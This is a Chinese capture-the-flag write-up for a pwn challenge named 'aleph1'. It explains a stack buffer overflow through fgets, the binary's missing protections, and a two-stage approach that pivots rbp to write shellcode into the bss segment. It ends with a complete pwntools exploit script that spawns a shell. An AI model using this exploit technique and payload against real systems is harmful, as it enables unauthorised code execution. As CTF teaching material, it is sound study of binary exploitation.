一道pwn题——aleph1

这个是同事给的一个题目,据说是铁三的。一开始看了下没啥思路

main函数,其中_bss_start其实就是stdin,这明显存在缓冲区溢出

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
char yolo[1024]; // [rsp+0h] [rbp-400h]

fgets(yolo, 1337, _bss_start);
return 0;
}

看下导入表,基本就只有fgets了

我们再来看看保护措施,什么保护都没看,基本就是写shellcode执行了,但这个不太绝对,但是能有99%吧

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

搜了下,程序中没有jmp esp,call esp,这个路子断了,我们只能利用fgets,我们可能需要一些gadgets

问题是调用完fgets后,rdx的值变了,我们不能通过csu里面的通用gadget来重新调用fgets,因为我们不能正确地设置rdx的值

最后灵机一动,为何不用main函数原有的呢

1
2
3
4
5
.text:00000000004005D5 mov     rdx, cs:__bss_start ; stream
.text:00000000004005DC lea rax, [rbp+yolo]
.text:00000000004005E3 mov esi, 539h ; n
.text:00000000004005E8 mov rdi, rax ; s
.text:00000000004005EB call _fgets

我只要控制rbp的值就能控制写入的地址,那么最终的思路就是将第一次溢出控制rbp的值,跟着将shellcode写到bss段,再将控制权给到bss就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-06-04 14:54:00
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :

from pwn import *
context.arch = 'amd64'
context.log_level = "debug"
p = process("./aleph1")
raw_input()
shellcode = asm(shellcraft.sh())
# 0x0000000000400538 : pop rbp ; ret
pop_rbp_ret = 0x400538
mov_std = 0x4005d5
bss_addr = 0x601038
rbp_ctl = bss_addr + 0x400
payload = "A" * 1032 + p64(pop_rbp_ret) + p64(rbp_ctl) + p64(mov_std)
p.sendline(payload)
raw_input("send second")
payload2 = shellcode + "\x90" * (1032 - len(shellcode)) + p64(bss_addr)
p.sendline(payload2)
p.interactive()
打赏专区